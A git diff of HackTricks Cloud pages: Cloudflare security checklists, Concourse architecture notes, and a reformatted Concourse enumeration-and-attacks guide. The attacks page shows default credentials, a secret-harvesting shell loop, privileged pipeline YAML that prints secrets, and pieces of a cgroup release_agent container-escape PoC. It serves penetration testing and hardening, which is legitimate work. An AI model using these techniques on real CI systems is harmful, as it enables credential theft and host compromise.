@@ -0,0 +1,134 @@
+# Cloudflare Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+
+<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
+
+## Websites
+
+Review each with:
+
+{{#ref}}
+cloudflare-domains.md
+{{#endref}}
+
+### Domain Registration
+
+- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+
+Review each with:
+
+{{#ref}}
+cloudflare-domains.md
+{{#endref}}
+
+## Analytics
+
+_I couldn't find anything to check for a config security review._
+
+## Pages
+
+On each Cloudflare's page:
+
+- [ ] Check for **sensitive information** in the **`Build log`**.
+- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
+- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
+- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
+- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
+- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
+- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+
+## **Workers**
+
+On each Cloudflare's worker check:
+
+- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
+- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
+- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
+  - Check for SSRFs returning the indicated page that you can control
+  - Check XSSs executing JS inside a svg image
+  - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+
+> [!WARNING]
+> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+
+## R2
+
+On each R2 bucket check:
+
+- [ ] Configure **CORS Policy**.
+
+## Stream
+
+TODO
+
+## Images
+
+TODO
+
+## Security Center
+
+- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
+- [ ] Just **check this information** for security misconfigurations and interesting info
+
+## Turnstile
+
+TODO
+
+## **Zero Trust**
+
+{{#ref}}
+cloudflare-zero-trust-network.md
+{{#endref}}
+
+## Bulk Redirects
+
+> [!NOTE]
+> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+
+- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
+- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+
+## Notifications
+
+- [ ] Check the **notifications.** These notifications are recommended for security:
+  - `Usage Based Billing`
+  - `HTTP DDoS Attack Alert`
+  - `Layer 3/4 DDoS Attack Alert`
+  - `Advanced HTTP DDoS Attack Alert`
+  - `Advanced Layer 3/4 DDoS Attack Alert`
+  - `Flow-based Monitoring: Volumetric Attack`
+  - `Route Leak Detection Alert`
+  - `Access mTLS Certificate Expiration Alert`
+  - `SSL for SaaS Custom Hostnames Alert`
+  - `Universal SSL Alert`
+  - `Script Monitor New Code Change Detection Alert`
+  - `Script Monitor New Domain Alert`
+  - `Script Monitor New Malicious Domain Alert`
+  - `Script Monitor New Malicious Script Alert`
+  - `Script Monitor New Malicious URL Alert`
+  - `Script Monitor New Scripts Alert`
+  - `Script Monitor New Script Exceeds Max URL Length Alert`
+  - `Advanced Security Events Alert`
+  - `Security Events Alert`
+- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
+  - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+
+## Manage Account
+
+- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
+- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
+- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
+  - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
+- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+
+> [!NOTE]
+> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+
+## DDoS Investigation
+
+[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
new file mode 100644
index 000000000..8f3665647
--- /dev/null
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -0,0 +1,133 @@
+# Cloudflare Domains
+
+{{#include ../../banners/hacktricks-training.md}}
+
+In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+
+<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
+
+### Overview
+
+- [ ] Get a feeling of **how much** are the services of the account **used**
+- [ ] Find also the **zone ID** and the **account ID**
+
+### Analytics
+
+- [ ] In **`Security`** check if there is any **Rate limiting**
+
+### DNS
+
+- [ ] Check **interesting** (sensitive?) data in DNS **records**
+- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
+- [ ] Check for web pages that **aren't** **proxied**
+- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
+- [ ] Check that **DNSSEC** is **enabled**
+- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
+  - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
+- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+
+### **Email**
+
+TODO
+
+### Spectrum
+
+TODO
+
+### SSL/TLS
+
+#### **Overview**
+
+- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
+- [ ] The **SSL/TLS Recommender** should be enabled
+
+#### Edge Certificates
+
+- [ ] **Always Use HTTPS** should be **enabled**
+- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
+- [ ] **Minimum TLS Version should be 1.2**
+- [ ] **TLS 1.3 should be enabled**
+- [ ] **Automatic HTTPS Rewrites** should be **enabled**
+- [ ] **Certificate Transparency Monitoring** should be **enabled**
+
+### **Security**
+
+- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
+  - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
+- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
+- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
+- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
+- [ ] In the **`Settings`** section:
+  - [ ] Check that the **`Security Level`** is **medium** or greater
+  - [ ] Check that the **`Challenge Passage`** is 1 hour at max
+  - [ ] Check that the **`Browser Integrity Check`** is **enabled**
+  - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+
+#### **CloudFlare DDoS Protection**
+
+- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
+- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
+  - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
+  - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
+  - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
+  - Check if **Managed rules** could also help to prevent vulnerability exploitations.
+  - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
+- In DDoS you could **override some rules to make them more restrictive**.
+- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
+- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
+- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+
+### Access
+
+{{#ref}}
+cloudflare-zero-trust-network.md
+{{#endref}}
+
+### Speed
+
+_I couldn't find any option related to security_
+
+### Caching
+
+- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+
+### **Workers Routes**
+
+_You should have already checked_ [_cloudflare workers_](./#workers)
+
+### Rules
+
+TODO
+
+### Network
+
+- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
+- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
+- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+
+### **Traffic**
+
+TODO
+
+### Custom Pages
+
+- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+
+### Apps
+
+TODO
+
+### Scrape Shield
+
+- [ ] Check **Email Address Obfuscation** is **enabled**
+- [ ] Check **Server-side Excludes** is **enabled**
+
+### **Zaraz**
+
+TODO
+
+### **Web3**
+
+TODO
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
new file mode 100644
index 000000000..8348eaf6b
--- /dev/null
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -0,0 +1,61 @@
+# Cloudflare Zero Trust Network
+
+{{#include ../../banners/hacktricks-training.md}}
+
+In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+
+<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
+
+### Analytics
+
+- [ ] Useful to **get to know the environment**
+
+### **Gateway**
+
+- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
+  - If used, **policies** could be created to **restrict** the access to malicious sites.
+  - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+
+### Access
+
+#### Applications
+
+On each application:
+
+- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
+  - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
+- [ ] Check the **available identity providers** and make sure they **aren't too open**
+- [ ] In **`Settings`**:
+  - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
+  - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
+  - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+
+#### **Access Groups**
+
+- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
+- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
+  - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+
+#### Service Auth
+
+- [ ] Check that all service tokens **expires in 1 year or less**
+
+#### Tunnels
+
+TODO
+
+### My Team
+
+TODO
+
+### Logs
+
+- [ ] You could search for **unexpected actions** from users
+
+### Settings
+
+- [ ] Check the **plan type**
+- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
+- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
new file mode 100644
index 000000000..d354374ef
--- /dev/null
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -0,0 +1,33 @@
+# Concourse Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+
+## Concourse Architecture
+
+Learn how the concourse environment is structured in:
+
+{{#ref}}
+concourse-architecture.md
+{{#endref}}
+
+## Concourse Lab
+
+Learn how you can run a concourse environment locally to do your own tests in:
+
+{{#ref}}
+concourse-lab-creation.md
+{{#endref}}
+
+## Enumerate & Attack Concourse
+
+Learn how you can enumerate the concourse environment and abuse it in:
+
+{{#ref}}
+concourse-enumeration-and-attacks.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
new file mode 100644
index 000000000..250af06ad
--- /dev/null
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -0,0 +1,38 @@
+# Concourse Architecture
+
+## Concourse Architecture
+
+{{#include ../../banners/hacktricks-training.md}}
+
+[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+
+### Architecture
+
+![](<../../images/image (187).png>)
+
+#### ATC: web UI & build scheduler
+
+The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+
+The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+
+#### TSA: worker registration & forwarding
+
+The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+
+The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+
+The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+
+#### Workers
+
+In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+
+- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
+- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+
+## References
+
+- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
similarity index 66%
rename from pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
rename to src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4cdbcc7d0..538c0a92b 100644
--- a/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -2,34 +2,20 @@
 
 ## Concourse Enumeration & Attacks
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ### User Roles & Permissions
 
 Concourse comes with five roles:
 
-* _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-* **owner**: Team owners can **modify everything within the team**.
-* **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-* **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-* **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
+- **owner**: Team owners can **modify everything within the team**.
+- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
+- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
+- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
 
-{% hint style="info" %}
-Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-{% endhint %}
+> [!NOTE]
+> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
 
 Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
 
@@ -45,36 +31,35 @@ Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by doub
 Static vars can be specified in **tasks steps**:
 
 ```yaml
-  - task: unit-1.13
-    file: booklit/ci/unit.yml
-    vars: {tag: 1.13}
+- task: unit-1.13
+  file: booklit/ci/unit.yml
+  vars: { tag: 1.13 }
 ```
 
 Or using the following `fly` **arguments**:
 
-* `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-* `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-* `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-* `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
+- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
+- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
+- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
 
 #### Credential Management
 
 There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
 Moreover, Concourse supports different credential managers:
 
-* [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
-* [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
-* [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
-* [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-* [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
-* [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
-* [Caching credentials](https://concourse-ci.org/creds-caching.html)
-* [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
-* [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
 
-{% hint style="danger" %}
-Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
-{% endhint %}
+> [!CAUTION]
+> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
 
 ### Concourse Enumeration
 
@@ -82,41 +67,40 @@ In order to enumerate a concourse environment you first need to **gather valid c
 
 #### Login and Current User enum
 
-* To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
-  * `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-* Get configured **targets**:
-  * `fly targets`
-* Get if the configured **target connection** is still **valid**:
-  * `fly -t <target> status`
-* Get **role** of the user against the indicated target:
-  * `fly -t <target> userinfo`
+- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
+  - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Get configured **targets**:
+  - `fly targets`
+- Get if the configured **target connection** is still **valid**:
+  - `fly -t <target> status`
+- Get **role** of the user against the indicated target:
+  - `fly -t <target> userinfo`
 
-{% hint style="info" %}
-Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
-{% endhint %}
+> [!NOTE]
+> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
 
 #### Teams & Users
 
-* Get a list of the Teams
-  * `fly -t <target> teams`
-* Get roles inside team
-  * `fly -t <target> get-team -n <team-name>`
-* Get a list of users
-  * `fly -t <target> active-users`
+- Get a list of the Teams
+  - `fly -t <target> teams`
+- Get roles inside team
+  - `fly -t <target> get-team -n <team-name>`
+- Get a list of users
+  - `fly -t <target> active-users`
 
 #### Pipelines
 
-* **List** pipelines:
-  * `fly -t <target> pipelines -a`
-* **Get** pipeline yaml (**sensitive information** might be found in the definition):
-  * `fly -t <target> get-pipeline -p <pipeline-name>`
-* Get all pipeline **config declared vars**
-  * `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-* Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
+- **List** pipelines:
+  - `fly -t <target> pipelines -a`
+- **Get** pipeline yaml (**sensitive information** might be found in the definition):
+  - `fly -t <target> get-pipeline -p <pipeline-name>`
+- Get all pipeline **config declared vars**
+  - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
 
 ```bash
 rm /tmp/secrets.txt;
-for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do 
+for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
     echo $pipename;
     fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
     echo "";
@@ -129,19 +113,19 @@ rm /tmp/secrets.txt
 
 #### Containers & Workers
 
-* List **workers**:
-  * `fly -t <target> workers`
-* List **containers**:
-  * `fly -t <target> containers`
-* List **builds** (to see what is running):
-  * `fly -t <target> builds`
+- List **workers**:
+  - `fly -t <target> workers`
+- List **containers**:
+  - `fly -t <target> containers`
+- List **builds** (to see what is running):
+  - `fly -t <target> builds`
 
 ### Concourse Attacks
 
 #### Credentials Brute-Force
 
-* admin:admin
-* test:test
+- admin:admin
+- test:test
 
 #### Secrets and params enumeration
 
@@ -158,9 +142,9 @@ fly -t tutorial intercept # To be presented a prompt with all the options
 
 With these permissions you might be able to:
 
-* **Steal the secrets** inside the **container**
-* Try to **escape** to the node
-* Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
+- **Steal the secrets** inside the **container**
+- Try to **escape** to the node
+- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
 
 #### Pipeline Creation/Modification
 
@@ -168,34 +152,34 @@ If you have enough privileges (**member role or more**) you will be able to **cr
 
 ```yaml
 jobs:
-- name: simple
-  plan:
-  - task: simple-task
-    privileged: true
-    config:
-      # Tells Concourse which type of worker this task should run on
-      platform: linux
-      image_resource:
-        type: registry-image
-        source:
-          repository: busybox # images are pulled from docker hub by default
-      run:
-        path: sh
-        args:
-        - -cx
-        - |
-          echo "$SUPER_SECRET"
-          sleep 1000
-      params:
-        SUPER_SECRET: ((super.secret))
+  - name: simple
+    plan:
+      - task: simple-task
+        privileged: true
+        config:
+          # Tells Concourse which type of worker this task should run on
+          platform: linux
+          image_resource:
+            type: registry-image
+            source:
+              repository: busybox # images are pulled from docker hub by default
+          run:
+            path: sh
+            args:
+              - -cx
+              - |
+                echo "$SUPER_SECRET"
+                sleep 1000
+          params:
+            SUPER_SECRET: ((super.secret))
 ```
 
 With the **modification/creation** of a new pipeline you will be able to:
 
-* **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-* **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-* Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-* **Delete** created pipeline
+- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
+- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
+- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
+- **Delete** created pipeline
 
 #### Execute Custom Task
 
@@ -211,10 +195,10 @@ image_resource:
 run:
   path: sh
   args:
-  - -cx
-  - |
-    env
-    sleep 1000
+    - -cx
+    - |
+      env
+      sleep 1000
 params:
   SUPER_SECRET: ((super.secret))
 ```
@@ -227,7 +211,7 @@ fly -t tutorial execute --privileged --config task_config.yml
 
 In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
 
-In the following PoC we are going to use the release\_agent to escape with some small modifications:
+In the following PoC we are going to use the release_agent to escape with some small modifications:
 
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
@@ -287,13 +271,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 cat /output
 ```
 
-{% hint style="warning" %}
-As you might have noticed this is just a [**regular release\_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
-{% endhint %}
+> [!WARNING]
+> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
 
 #### Escaping to the node from a Worker container
 
-A regular release\_agent escape with a minor modification is enough for this:
+A regular release_agent escape with a minor modification is enough for this:
 
 ```bash
 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -364,14 +347,13 @@ select * from users;
 
 #### Abusing Garden Service - Not a real Attack
 
-{% hint style="warning" %}
-This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
-{% endhint %}
+> [!WARNING]
+> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
 
 By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
 
-* It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-* The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
+- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
+- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
 
 Concourse workers run with high container privileges:
 
